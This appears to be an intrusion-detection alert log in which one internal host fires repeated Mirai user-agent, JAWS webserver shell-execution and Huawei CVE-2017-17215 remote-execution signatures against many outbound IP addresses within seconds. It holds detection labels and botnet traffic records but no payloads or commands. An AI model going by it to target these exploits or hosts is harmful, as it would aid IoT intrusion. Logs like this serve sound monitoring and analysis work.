2024-12-03T23:02:33.775493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57452	122.238.169.224	80	TCP
2024-12-03T23:02:33.822326+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54742	192.24.226.137	80	TCP
2024-12-03T23:02:33.822326+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54742	192.24.226.137	80	TCP
2024-12-03T23:02:33.822495+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59844	189.161.132.89	80	TCP
2024-12-03T23:02:33.822495+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59844	189.161.132.89	80	TCP
2024-12-03T23:02:33.831582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52202	160.86.170.88	80	TCP
2024-12-03T23:02:33.831582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52202	160.86.170.88	80	TCP
2024-12-03T23:02:33.853654+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60772	116.227.243.100	80	TCP
2024-12-03T23:02:33.853654+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60772	116.227.243.100	80	TCP
2024-12-03T23:02:33.853756+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56470	41.247.11.234	80	TCP
2024-12-03T23:02:33.853756+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56470	41.247.11.234	80	TCP
2024-12-03T23:02:33.863286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60118	132.193.129.166	80	TCP
2024-12-03T23:02:33.863286+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60118	132.193.129.166	80	TCP
2024-12-03T23:02:33.878990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38302	124.201.144.167	80	TCP
2024-12-03T23:02:33.878990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38302	124.201.144.167	80	TCP
2024-12-03T23:02:34.378502+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50118	200.139.81.248	80	TCP
2024-12-03T23:02:34.378502+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50118	200.139.81.248	80	TCP
2024-12-03T23:02:34.447299+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60666	197.210.191.97	37215	TCP
2024-12-03T23:02:34.447395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33272	156.115.140.153	37215	TCP
2024-12-03T23:02:34.447522+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57180	197.55.185.93	37215	TCP
2024-12-03T23:02:34.463046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57362	41.0.42.95	37215	TCP
2024-12-03T23:02:34.463248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49334	197.97.70.146	37215	TCP
2024-12-03T23:02:34.478839+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50226	197.142.11.191	37215	TCP
2024-12-03T23:02:34.478990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37306	156.151.41.84	37215	TCP
2024-12-03T23:02:34.479127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47028	41.57.81.157	37215	TCP
2024-12-03T23:02:34.487677+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37686	41.43.114.69	37215	TCP
2024-12-03T23:02:34.487911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42138	156.116.94.234	37215	TCP
2024-12-03T23:02:34.494228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38580	156.66.171.222	37215	TCP
2024-12-03T23:02:34.494327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55624	156.155.216.224	37215	TCP
2024-12-03T23:02:34.494471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36530	197.217.127.115	37215	TCP
2024-12-03T23:02:34.494750+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57502	197.63.7.168	37215	TCP
2024-12-03T23:02:34.494751+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39026	41.237.9.159	37215	TCP
2024-12-03T23:02:34.494797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36198	156.249.107.42	37215	TCP
2024-12-03T23:02:34.503413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56278	197.44.112.223	37215	TCP
2024-12-03T23:02:34.503612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51536	156.182.13.62	37215	TCP
2024-12-03T23:02:34.503754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38658	41.70.88.14	37215	TCP
2024-12-03T23:02:34.503843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57202	197.110.123.8	37215	TCP
2024-12-03T23:02:34.503999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43732	41.120.63.205	37215	TCP
2024-12-03T23:02:34.504197+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36828	41.67.56.63	37215	TCP
2024-12-03T23:02:34.510043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51106	197.161.143.243	37215	TCP
2024-12-03T23:02:34.519123+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42982	197.248.78.31	37215	TCP
2024-12-03T23:02:34.519226+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37328	197.13.235.170	37215	TCP
2024-12-03T23:02:34.525527+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60916	156.68.236.162	37215	TCP
2024-12-03T23:02:34.534697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43146	197.120.181.214	37215	TCP
2024-12-03T23:02:34.535047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38872	41.47.14.148	37215	TCP
2024-12-03T23:02:34.535185+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37086	197.224.161.253	37215	TCP
2024-12-03T23:02:34.535433+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54314	156.19.29.129	37215	TCP
2024-12-03T23:02:34.535575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44254	41.75.81.250	37215	TCP
2024-12-03T23:02:34.535674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52170	156.71.181.125	37215	TCP
2024-12-03T23:02:34.535785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48000	197.87.149.42	37215	TCP
2024-12-03T23:02:34.535892+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49436	156.254.180.0	37215	TCP
2024-12-03T23:02:34.536135+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58186	197.15.7.13	37215	TCP
2024-12-03T23:02:34.536184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43886	156.166.236.148	37215	TCP
2024-12-03T23:02:34.550376+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49110	41.196.141.166	37215	TCP
2024-12-03T23:02:34.566024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41446	156.43.34.30	37215	TCP
2024-12-03T23:02:34.566142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59208	41.220.151.118	37215	TCP
2024-12-03T23:02:34.566253+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56174	197.146.15.229	37215	TCP
2024-12-03T23:02:34.572522+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45764	223.11.137.171	80	TCP
2024-12-03T23:02:34.572522+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45764	223.11.137.171	80	TCP
2024-12-03T23:02:34.597296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34366	36.153.54.81	80	TCP
2024-12-03T23:02:34.597296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34366	36.153.54.81	80	TCP
2024-12-03T23:02:34.619255+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40222	109.68.30.221	80	TCP
2024-12-03T23:02:34.619255+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40222	109.68.30.221	80	TCP
2024-12-03T23:02:34.650697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34826	197.166.47.220	37215	TCP
2024-12-03T23:02:34.659817+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37602	213.155.78.70	80	TCP
2024-12-03T23:02:34.659817+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37602	213.155.78.70	80	TCP
2024-12-03T23:02:34.659889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55434	41.23.147.224	37215	TCP
2024-12-03T23:02:34.660119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44836	156.207.3.94	37215	TCP
2024-12-03T23:02:34.697319+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59712	199.223.119.72	80	TCP
2024-12-03T23:02:34.697319+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59712	199.223.119.72	80	TCP
2024-12-03T23:02:34.737894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45488	8.198.96.28	80	TCP
2024-12-03T23:02:34.737894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45488	8.198.96.28	80	TCP
2024-12-03T23:02:34.753587+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57878	194.143.31.121	80	TCP
2024-12-03T23:02:34.753587+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57878	194.143.31.121	80	TCP
2024-12-03T23:02:34.759780+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37404	192.154.89.217	80	TCP
2024-12-03T23:02:34.759780+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37404	192.154.89.217	80	TCP
2024-12-03T23:02:34.775473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58714	197.17.9.69	37215	TCP
2024-12-03T23:02:34.784641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43066	92.12.118.18	80	TCP
2024-12-03T23:02:34.784641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43066	92.12.118.18	80	TCP
2024-12-03T23:02:34.784709+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43424	32.96.106.136	80	TCP
2024-12-03T23:02:34.784709+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43424	32.96.106.136	80	TCP
2024-12-03T23:02:35.244062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46756	156.236.59.24	37215	TCP
2024-12-03T23:02:35.525608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54128	156.155.14.149	37215	TCP
2024-12-03T23:02:35.541389+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49326	156.80.60.84	37215	TCP
2024-12-03T23:02:35.550313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38016	41.244.120.0	37215	TCP
2024-12-03T23:02:35.566008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57968	41.170.240.37	37215	TCP
2024-12-03T23:02:35.581737+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40238	156.51.222.101	37215	TCP
2024-12-03T23:02:36.447438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59372	41.127.234.26	37215	TCP
2024-12-03T23:02:36.463223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52862	156.240.60.221	37215	TCP
2024-12-03T23:02:36.463282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48390	41.182.226.175	37215	TCP
2024-12-03T23:02:36.463541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51504	197.83.91.22	37215	TCP
2024-12-03T23:02:36.463541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50060	197.171.35.80	37215	TCP
2024-12-03T23:02:36.494832+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44090	156.45.68.47	37215	TCP
2024-12-03T23:02:36.494911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56304	156.214.11.174	37215	TCP
2024-12-03T23:02:36.495174+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50214	156.51.153.75	37215	TCP
2024-12-03T23:02:36.495190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53016	197.129.182.133	37215	TCP
2024-12-03T23:02:36.495254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59938	156.25.9.250	37215	TCP
2024-12-03T23:02:36.495348+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35052	41.78.87.113	37215	TCP
2024-12-03T23:02:36.495758+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55924	156.126.202.190	37215	TCP
2024-12-03T23:02:36.495902+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34562	41.220.68.207	37215	TCP
2024-12-03T23:02:36.495986+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45440	197.22.48.49	37215	TCP
2024-12-03T23:02:36.496117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43886	197.239.201.1	37215	TCP
2024-12-03T23:02:36.496194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46956	197.164.134.85	37215	TCP
2024-12-03T23:02:36.496350+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33546	41.221.126.139	37215	TCP
2024-12-03T23:02:36.496422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60694	197.64.41.170	37215	TCP
2024-12-03T23:02:36.496521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42566	156.25.84.124	37215	TCP
2024-12-03T23:02:36.496603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39072	197.80.134.104	37215	TCP
2024-12-03T23:02:36.496695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39294	41.112.124.152	37215	TCP
2024-12-03T23:02:36.503532+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42722	41.176.68.177	37215	TCP
2024-12-03T23:02:36.503659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36940	197.201.223.65	37215	TCP
2024-12-03T23:02:36.503806+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37062	41.89.154.180	37215	TCP
2024-12-03T23:02:36.504008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48416	41.122.68.149	37215	TCP
2024-12-03T23:02:36.504136+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48210	197.198.75.217	37215	TCP
2024-12-03T23:02:36.504318+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50596	41.72.27.129	37215	TCP
2024-12-03T23:02:36.504469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39100	41.151.84.5	37215	TCP
2024-12-03T23:02:36.504583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36984	197.68.238.5	37215	TCP
2024-12-03T23:02:36.504690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43282	156.217.246.14	37215	TCP
2024-12-03T23:02:36.519169+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52496	156.5.172.37	37215	TCP
2024-12-03T23:02:36.536048+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41884	41.122.171.180	37215	TCP
2024-12-03T23:02:36.536481+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34210	197.1.51.161	37215	TCP
2024-12-03T23:02:36.536700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51052	41.155.78.94	37215	TCP
2024-12-03T23:02:36.536878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42688	197.112.69.116	37215	TCP
2024-12-03T23:02:36.537067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41888	156.29.132.248	37215	TCP
2024-12-03T23:02:36.537201+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39772	156.2.126.90	37215	TCP
2024-12-03T23:02:36.537311+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50972	197.31.132.172	37215	TCP
2024-12-03T23:02:36.537408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56110	41.53.91.215	37215	TCP
2024-12-03T23:02:36.713026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50250	53.255.254.109	80	TCP
2024-12-03T23:02:36.713026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50250	53.255.254.109	80	TCP
2024-12-03T23:02:36.769162+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51242	186.15.37.181	80	TCP
2024-12-03T23:02:36.769162+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51242	186.15.37.181	80	TCP
2024-12-03T23:02:36.784639+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33076	171.30.84.229	80	TCP
2024-12-03T23:02:36.784639+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33076	171.30.84.229	80	TCP
2024-12-03T23:02:36.784869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47324	92.241.207.76	80	TCP
2024-12-03T23:02:36.784869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47324	92.241.207.76	80	TCP
2024-12-03T23:02:36.785005+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48600	156.210.120.122	37215	TCP
2024-12-03T23:02:37.604065+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56538	197.182.227.100	37215	TCP
2024-12-03T23:02:37.604096+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44878	197.93.227.214	37215	TCP
2024-12-03T23:02:37.619521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45916	197.58.215.208	37215	TCP
2024-12-03T23:02:37.635153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46498	197.209.232.150	37215	TCP
2024-12-03T23:02:37.650940+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50436	197.75.53.141	37215	TCP
2024-12-03T23:02:37.659817+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35234	41.48.165.90	37215	TCP
2024-12-03T23:02:37.659973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53682	41.16.57.221	37215	TCP
2024-12-03T23:02:37.660226+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59490	41.86.108.11	37215	TCP
2024-12-03T23:02:37.691491+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32916	156.111.178.178	37215	TCP
2024-12-03T23:02:37.691556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36666	197.28.127.101	37215	TCP
2024-12-03T23:02:37.691569+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59976	197.195.182.119	37215	TCP
2024-12-03T23:02:37.715321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42274	134.252.61.173	80	TCP
2024-12-03T23:02:37.715321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42274	134.252.61.173	80	TCP
2024-12-03T23:02:37.728895+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55588	206.186.8.234	80	TCP
2024-12-03T23:02:37.728895+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55588	206.186.8.234	80	TCP
2024-12-03T23:02:37.738068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60842	208.224.38.78	80	TCP
2024-12-03T23:02:37.738068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60842	208.224.38.78	80	TCP
2024-12-03T23:02:37.744298+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39316	83.137.66.101	80	TCP
2024-12-03T23:02:37.744298+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39316	83.137.66.101	80	TCP
2024-12-03T23:02:37.753608+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46152	198.131.70.48	80	TCP
2024-12-03T23:02:37.753608+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46152	198.131.70.48	80	TCP
2024-12-03T23:02:37.759977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44760	209.93.163.206	80	TCP
2024-12-03T23:02:37.759977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44760	209.93.163.206	80	TCP
2024-12-03T23:02:37.785167+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34242	107.129.75.37	80	TCP
2024-12-03T23:02:37.785167+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34242	107.129.75.37	80	TCP
2024-12-03T23:02:37.785244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36426	35.143.212.215	80	TCP
2024-12-03T23:02:37.785244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36426	35.143.212.215	80	TCP
2024-12-03T23:02:37.996715+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46146	47.59.50.229	80	TCP
2024-12-03T23:02:37.996715+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46146	47.59.50.229	80	TCP
2024-12-03T23:02:37.996748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45498	62.50.206.217	80	TCP
2024-12-03T23:02:37.996748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45498	62.50.206.217	80	TCP
2024-12-03T23:02:38.019809+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53688	108.93.80.70	80	TCP
2024-12-03T23:02:38.019809+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53688	108.93.80.70	80	TCP
2024-12-03T23:02:38.039566+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55890	183.70.114.239	80	TCP
2024-12-03T23:02:38.039566+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55890	183.70.114.239	80	TCP
2024-12-03T23:02:38.039578+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42336	93.116.139.178	80	TCP
2024-12-03T23:02:38.039578+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42336	93.116.139.178	80	TCP
2024-12-03T23:02:38.039731+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33172	204.76.204.180	80	TCP
